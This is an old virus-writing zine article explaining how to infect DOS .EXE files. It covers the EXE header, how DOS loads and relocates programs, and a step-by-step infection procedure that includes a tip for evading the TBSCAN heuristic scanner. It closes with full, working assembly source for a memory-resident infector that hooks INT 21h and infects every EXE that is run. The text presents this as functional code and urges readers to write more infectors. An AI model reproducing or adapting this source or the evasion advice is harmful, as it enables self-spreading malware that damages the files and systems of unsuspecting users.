Virus programming (not so basic) #2...

Infecting an .EXE is not much more difficult than infecting a .COM. To do so, you must learn about a structure known as the EXE header. Once you've picked this up, it's not so difficult and it offers many more options than just a simple jump at the beginning of the code.

Let's begin:

% The Header structure %

The information on EXE header structure is available from any good DOS book, and even from some other H/P/V mags. Anyhow, I'll include that information here for those who don't have those sources to understand what I'm talking about.

Offset	Description
00	EXE identifier (MZ = 4D5A)
02	Number of bytes on the last page (of 512 bytes) of the program
04	Total number of 512 byte pages, rounded upwards
06	Number of entries in the File Allocation Table
08	Size of the header in paragraphs, including the FAT
0A	Minimum memory requirement
0C	Maximum memory requirement
0E	Initial SS
10	Initial SP
12	Checksum
14	Initial IP
16	Initial CS
18	Offset to the FAT from the beginning of the file
1A	Number of generated overlays

The EXE identifier (MZ) is what truly distinguishes the EXE from a COM, and not the extension. The extension is only used by DOS to determine which must run first (COM before EXE before BAT). What really tells the system whether its a "true" EXE is this identifier (MZ).

Entries 02 and 04 contain the program size in the following format: 512 byte pages * 512 + remainder. In other words, if the program has 1025 bytes, we have 3 512 byte pages (remember, we must round upwards) plus a remainder of 1. (Actually, we could ask why we need the remainder, since we are rounding up to the nearest page. Even more since we are going to use 4 bytes for the size, why
not just eliminate it? The virus programmer has such a rough life :-)). Entry number 06 contains the number of entries in the FAT (number of pointers, see below) and entry 18 has the offset from the
FAT within the file. The header size (entry 08) includes the FAT. The minimum memory requirement (0A) indicates the least amount of free memory the program needs in order to run and the maximum (0C) the ideal amount of memory to run the program. (Generally this is set to FFFF = 1M by the linkers, and DOS hands over all available memory).

The SS:SP and CS:IP contain the initial values for theses registers (see below). Note that SS:SP is set backwards, which means that an LDS cannot load it. The checksum (12) and the number of overlays (1a) can be ignored since these entries are never used.

% EXE vs. COM load process %

Well, by now we all know exhaustively how to load a .COM: We build a PSP, we create an Environment Block starting from the parent block, and we copy the COM file into memory exactly as it is, below the PSP. Since memory is segmented into 64k "caches" no COM file can be larger than 64K. DOS will not execute a COM file larger than 64K. Note that when a COM file is loaded, all available memory is granted to the program.
Where it pertains to EXEs, however, bypassing these limitations is much more complex; we must use the FAT and the EXE header for

this.
When an EXE is executed, DOS first performs the same functions as
in loading a COM. It then reads into a work area the EXE header and, based on the information this provides, reads the program into its proper location in memory. Lastly, it reads the FAT into another work area. It then relocates the entire code.

What does this consist of? The linker will always treat any segment references as having a base address of 0. In other words, the first segment is 0, the second is 1, etc. On the other hand, the program is loaded into a non-zero segment; for example, 1000h. In this case, all references to segment 1 must be converted to segment 1001h.

The FAT is simply a list of pointers which mark references of this type (to segment 1, etc.). These pointers, in turn, are also relative to base address 0, which means they, too, can be reallocated. Therefore, DOS adds the effective segment (the segment into which the program was loaded; i.e. 1000h) to the pointer in the FAT and thus obtains an absolute address in memory to reference the segment. The effective segment is also added to this reference, and having done this with each and every segment reference, the EXE is reallocated and is ready to execute.
Finally, DOS sets SS:SP to the header values (also reallocated; the header SS + 1000H), and turns control over to the CS:IP of the header (obviously also reallocated).

Lets look at a simple exercise:

```
EXE PROGRAM FILE
  Header                 CS:IP (Header)   0000:0000 +
  (reallocation          Eff. Segment     1000      +
   table entries=2)      PSP              0010      =
                         -------------------------
                         Entry Point    1010:0000 >ÄÄÄÄÄÄÄÄÄ¿
Reallocation Table          ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ                 ³
   0000:0003 >ÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿           ³
                    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ           ³
   0000:0007 >ÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿           ³
                  ÚÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ           ³
  Program Image   ³ ³    PROGRAM IN MEMORY                  ³
                  ³ ³    PSP                    1000:0000   ³
  call 0001:0000  ³ ÀÄÄ> call 1011:0000         1010:0000 <ÄÙ
  nop             ³      nop                    1010:0005
  mov ax, 0003    ÀÄÄÄÄ> mov ax, 1013           1010:0006
  mov ds, ax             mov ds, ax             1010:0009
```

Note: I hope you appreciate my use of the little arrows, because it cost me a testicle to do it by hand using the Alt+??? keys in Norton Commander Editor.

% Infecting the EXE %
Once it has been determined that the file is an EXE and NOT a COM, use the following steps to infect it:

- Obtain the file size and calculate the CS:IP
  This is complex. Most, if not all, viruses add 1 to 15 garbage bytes to round out to a paragraph. This allows you to calculate CS in such a way that IP does not vary from file to file. This, in turn, allows you to write the virus without "reallocation" since it will always run with the same offset, making the virus both less complex and smaller. The (minimal) effort expended in writing these 1 - 15 bytes is justified by these benefits.
- Add the virus to the end of the file.
  Well, I'm sure that by now you are familiar function 40H of Int 21H, right? :-)
- Calculate the SS:SP
  When infecting an EXE it is necessary for the virus to "fix"

itself a new stack since otherwise the host's stack could be superimposed over the virus code and have it be overwritten when the code is executed. The system would then hang. Generally, SS is the same as the calculated CS, and SP is constant (you can put it after the code). Something to keep in mind: SP can never be an odd number because, even though it will work, it is an error and TBSCAN will catch it. (TBSCAN detects 99% of the virus stacks with the "K" flag. The only way to elude this that I'm aware of, is to place the stack AHEAD of the virus in the infected file, which is a pain in the ass because the infection size increases and you have to write more "garbage" to make room for the stack.

- Modify the size shown in the header
  Now that you've written the virus, you can calculate the final size and write it in the header. It's easy: place the size divided by 512 plus 1 in 'pages' and the rest in 'remainder'. All it takes is one DIV instruction.
- Modify the "MinAlloc"
  In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS will give it all the available memory. In such cases, there is more than enough room for HOST+VIRUS. But, two things could happen:
  1. It could be that "MaxAlloc" is not set to FFFF, in which case only the minimum memory is granted to the host and possibly nothing for the virus.

  2. It could be that there is too little memory available, thus when the system gives the program "all the available memory" (as indicated by FFFF) there may still be insufficient memory for HOST+VIRUS.

  In both cases, the virus does not load and the system halts. To get around this, all that needs to be done is to add to "MinAlloc" the size of the virus in "paragraphs". In the first case, DOS would load the program and everything would work like a charm. In the second case, DOS would not execute the file due to "insufficient memory".

Well, that's all. Just two last little things: when you write an EXE infector, we are interested not only in the infection routine but also the installation routine. Keep in mind that in an EXE DS and ES point to the PSP and are different from SS and CS (which in turn can be different from each other). This can save you from hours of debugging and inexplicable errors. All that needs to be done is to follow the previously mentioned steps in order to infect in the safe, "traditional" way. I recommend that you study carefully the virus example below as it illustrates all the topics we've mentioned.

% Details, Oh, Details ... %

One last detail which is somewhat important, deals with excessively large EXEs. You sometimes see EXEs which are larger than 500K. (For example, TC.EXE which was the IDE for TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very common; they simply have internal overlays. It's almost impossible to infect these EXEs for two reasons:

1. The first is more or less theoretical. It so happens that it's only possible to direct 1M to registers SEGMENT:OFFSET. For this reason, it is technically impossible to infect EXEs 1M+ in size since it is impossible to direct CS:IP to the end of the file. No virus can do it. (Are there EXEs of a size greater than 1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!)
2. The second reason is of a practical nature. These EXEs with internal overlays are not loaded whole into memory. Only a small part of the EXE is loaded into memory, which in turn takes care of loading the other parts AS THEY ARE NEEDED. That's why its possible to run an 800K EXE (did you notice that 800K > 640K? :-)). How does this fact make these EXEs difficult to infect? Because once one of these EXEs has been infected and the virus has made its

modifications, the file will attempt to load itself into memory in it's entirety (like, all 800K). Evidently, the system will hang. It's possible to imagine a virus capable of infecting very large EXEs which contain internal overlays (smaller than 1M) by manipulating the "Header Size", but even so I can't see how it would work because at some point DOS would try to load the entire file.

% A Special case: RAT %

Understanding the header reallocation process also allows us to understand the functioning of a virus which infects special EXEs. We're talking about the RAT virus. This virus takes advantage of the fact that linkers tend to make the headers in caches of 512 bytes, leaving a lot of unused space in those situations where there is little reallocation.

This virus uses this unused space in order to copy itself without using the header (of the file allocation table). Of course, it works in a totally different manner from a normal EXE infector. It cannot allow any reallocation; since its code is placed BEFORE the host, it would be the virus code and not the host which is reallocated. Therefore, it can't make a simple jump to the host to run it (since it isn't reallocated); instead, it must re-write the original header to the file and run it with AX=4B00, INT 21.

% Virus Example %

OK, as behooves any worthwhile virus 'zine, here is some totally functional code which illustrates everything that's been said about infecting EXEs. If there was something you didn't understand, or if you want to see something "in code form", take a good look at this virus, which is commented OUT THE ASS.

```
-------------------- Cut Here -----------------------------------
;NOTE: This is a mediocre virus, set here only to illustrate EXE
; infections.  It can't infect READ ONLY files and it modifies the
; date/time stamp.  It could be improved, such as by making it
; infect R/O files and by optimizing the code.
;
;NOTE 2: First, I put a cute little message in the code and second,
; I made it ring a bell every time it infects.  So, if you infect

; your entire hard drive, it's because you're a born asshole.

code segment para public
     assume cs:code, ss:code
VirLen         equ  offset VirEnd - offset VirBegin
VirBegin  label     byte
Install:
     mov ax, 0BABAH ; This makes sure the virus doesn't go resident

                    ; twice
     int 21h
     cmp ax, 0CACAH ; If it returns this code, it's already
                    ; resident
     jz AlreadyInMemory

     mov ax, 3521h  ; This gives us the original INT 21 address so
     int 21h        ; we can call it later
     mov cs:word ptr OldInt21, bx
     mov cs:word ptr OldInt21+2, es

     mov ax, ds                       ; \
     dec ax                           ; |
     mov es, ax                       ; |
     mov ax, es:[3] ; block size      ; | If you're new at this,
                                      ; | ignore all this crap
     sub ax, ((VirLen+15) /16) + 1    ; | (It's the MCB method)
     xchg bx, ax                      ; | It's not crucial for EXE
     mov ah,4ah                       ; | infections.
```

```
     push ds                          ; | It's one of the ways to
     pop es                           ; | make a virus go resident.
     int 21h                          ; |
     mov ah, 48h                      ; |
     mov bx, ((VirLen+15) / 16)       ; |
     int 21h                          ; |
     dec ax                           ; |
     mov es, ax                       ; |
     mov word ptr es:[1], 8           ; |
     inc ax                           ; |
     mov es, ax                       ; |
     xor di, di                       ; |
     xor si, si                       ; |
     push ds                          ; |
     push cs                          ; |
     pop ds                           ; |
     mov cx, VirLen                   ; |
     repz movsb                       ; /

     mov ax, 2521h  ; Here you grab INT 21
     mov dx, offset NewInt21
     push es
     pop ds
     int 21h
     pop ds    ; This makes DS & ES go back to their original
               ; values
     push ds   ; IMPORTANT! Otherwise the EXE will receive the
     pop es    ; incorrect DE & ES values, and hang.

AlreadyInMemory:
     mov ax, ds                       ; With this I set SS to the
                                      ; Header value.
     add ax, cs:word ptr SS_SP        ; Note that I "reallocate" it
                                      ; using DS since this is the
     add ax, 10h                      ; the segment into which the
     mov ss, ax                ; program was loaded.  The +10
                               ; corresponds to the
     mov sp, cs:word ptr SS_SP+2   ; PSP. I also set SP
     mov ax, ds
     add ax, cs:word ptr CS_IP+2   ; Now I do the same with CS &
     add ax, 10h                   ; IP. I "push" them and then I
                                   ; do a retf. (?)
     push ax                       ; This makes it "jump" to that
     mov ax, cs:word ptr CS_IP     ; position
     push ax
     retf

NewInt21:
     cmp ax, 0BABAh ; This ensures the virus does not go
     jz PCheck      ; resident twice.
     cmp ax, 4b00h  ; This intercepts the "run file" function
     jz Infect ;
     jmp cs:OldInt21  ; If it is neither of these, it turns control

                      ; back to the original INT21 so that it
                      ; processes the call.
PCheck:
     mov ax, 0CACAH   ; This code returns the call.
     iret             ; return.

; Here's the infection routine.  Pay attention, because this is
; "IT".
; Ignore everything else if you wish, but take a good look at this.
Infect:
     push ds   ; We put the file name to be infected in DS:DX.
     push dx   ; Which is why we must save it.
     pushf
     call cs:OldInt21 ; We call the original INT21 to run the file.

     push bp          ; We save all the registers.
```

```
     mov bp, sp       ; This is important in a resident routine,
                      ;since if it isn't done,
     push ax          ; the system will probably hang.
     pushf
     push bx
     push cx
     push dx
     push ds

     lds dx, [bp+2] ; Again we obtain the filename (from the stack)
     mov ax, 3d02h  ; We open the file r/w
     int 21h
     xchg bx, ax
     mov ah, 3fh    ; Here we read the first 32 bytes to memory.
     mov cx, 20h    ; to the variable "ExeHeader"
     push cs
     pop ds
     mov dx, offset ExeHeader
     int 21h

     cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a
     jz Continue                     ; "real" EXE or if it's a COM.
     jmp AbortInfect                 ; If it's a COM, don't infect.
Continue:
     cmp ds:word ptr Checksum, 'JA'  ; This is the virus's way
                                     ; of identifying itself.
     jnz Continue2            ; We use the Header Chksum for this
     jmp AbortInfect          ; It's used for nothing else.  If
                        ; already infected, don't re-infect. :-)
Continue2:
     mov ax, 4202h  ; Now we go to the end of file to see of it
     cwd            ; ends in a paragraph
     xor cx, cx
     int 21h
     and ax, 0fh
     or ax, ax
     jz DontAdd     ; If "yes", we do nothing
     mov cx, 10h    ; If "no", we add garbage bytes to serve as
     sub cx, ax     ; Note that the contents of DX no longer matter
     mov ah, 40h    ; since we don't care what we're inserting.
     int 21h

DontAdd:
     mov ax, 4202h  ; OK, now we get the final size, rounded
     cwd            ; to a paragraph.
     xor cx, cx
     int 21h

     mov cl, 4 ; This code calculates the new CS:IP the file must
     shr ax, cl ; now have, as follows:
     mov cl, 12 ; File size: 12340H (DX=1, AX=2340H)
     shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
     add dx, ax ; DX now has the CS value it must have.
     sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of
                                     ; paragraphs from the header
     push dx    ; and save the result in the stack for later.
                ; <------- Do you understand why you can't infect
                ; EXEs larger than 1M?

     mov ah, 40h   ; Now we write the virus to the end of the file.
     mov cx, VirLen ; We do this before touching the header so that

     cwd            ; CS:IP or SS:SP of the header (kept within the

                    ; virus code)
     int 21h        ; contains the original value
                    ; so that the virus installation routines work
                    ; correctly.

     pop dx
```

```
     mov ds:SS_SP, dx       ; Modify the header CS:IP so that it
                            ; points to the virus.
     mov ds:CS_IP+2, dx     ; Then we place a 100h stack after the
     mov ds:word ptr CS_IP, 0   ; virus since it will be used by
     ; the virus only during the installation process.  Later, the
     ; stack changes and becomes the programs original stack.
     mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2
     ; the previous command SP to have an even value, otherwise
     ; TBSCAN will pick it up.
     mov ax, 4202h  ; We obtain the new size so as to calculate the
     xor cx, cx     ; size we must place in the header.
     cwd
     int 21h
     mov cx, 200h   ; We calculate the following:
     div cx         ; FileSize/512 = PAGES plus remainder
     inc ax         ; We round upwards and save
     mov word ptr ds:ExeHeader+2, dx ; it in the header to
     mov word ptr ds:ExeHeader+4, ax ; write it later.
     mov word ptr ds:Checksum, 'JA'; We write the virus's
                                   ; identification mark in the

                                   ; checksum.
     add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h
          ; We add the number of paragraphs to the "MinAlloc"
          ; to avoid memory allocation problems (we also add 10
          ; paragraphs for the virus's stack.

     mov ax, 4200h  ; Go to the start of the file
     cwd
     xor cx, cx
     int 21h
     mov ah, 40h    ; and write the modified header....
     mov cx, 20h
     mov dx, offset ExeHeader
     int 21h

     mov ah, 2  ; a little bell rings so the beginner remembers
     mov dl,  7     ; that the virus is in memory.  IF AFTER ALL
     int 21h        ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR
                    ; NUTS.
AbortInfect:
     mov ah, 3eh    ; Close the file.
     int 21h
     pop ds         ; We pop the registers we pushed so as to save
     pop dx         ; them.
     pop cx
     pop bx
     pop ax;flags   ; This makes sure the flags are passed
     mov bp, sp     ; correctly.  Beginners can ignore this.
     mov [bp+12], ax
     pop ax
     pop bp
     add sp, 4
     iret           ; We return control.


; Data
OldInt21  dd   0
; Here we store the original INT 21 address.

ExeHeader db   0eh DUP('H');
SS_SP          dw   0, offset VirEnd+100h
Checksum  dw   0
CS_IP          dw   offset Hoste,0
          dw   0,0,0,0
; This is the EXE header.
VirEnd         label     byte

Hoste:
     ; This is not the virus host, rather the "false host" so that
```

```
     ; the file carrier runs well   :-).
     mov ah, 9
     mov dx, offset MSG
     push cs
     pop ds
     int 21h
     mov ax, 4c00h
     int 21h
     MSG db "LOOK OUT! The virus is now in memory!", 13, 10
         db "And it could infect all the EXEs you run!", 13, 10
         db "If you get infected, that's YOUR problem", 13, 10
         db "We're not responsible for your stupidity!$"
ends
end
-------------------- Cut Here -------------------------------------
```

% Conclusion %

OK, that's all, folks. I tried to make this article useful for both the "profane" who are just now starting to code Vx as well as for those who have a clearer idea. Yeah, I know the beginners almost certainly didn't understand many parts of this article due the complexity of the matter, and the experts may not have understood some parts due to the incoherence and poor descriptive abilities of the writer. Well, fuck it.

Still, I hope it has been useful and I expect to see many more EXE infectors from now on. A parting shot: I challenge my readers to write a virus capable of infecting an 800K EXE file (I think it's impossible). Prize: a lifetime subscription to Minotauro Magazine :-).

Trurl, the great "constructor"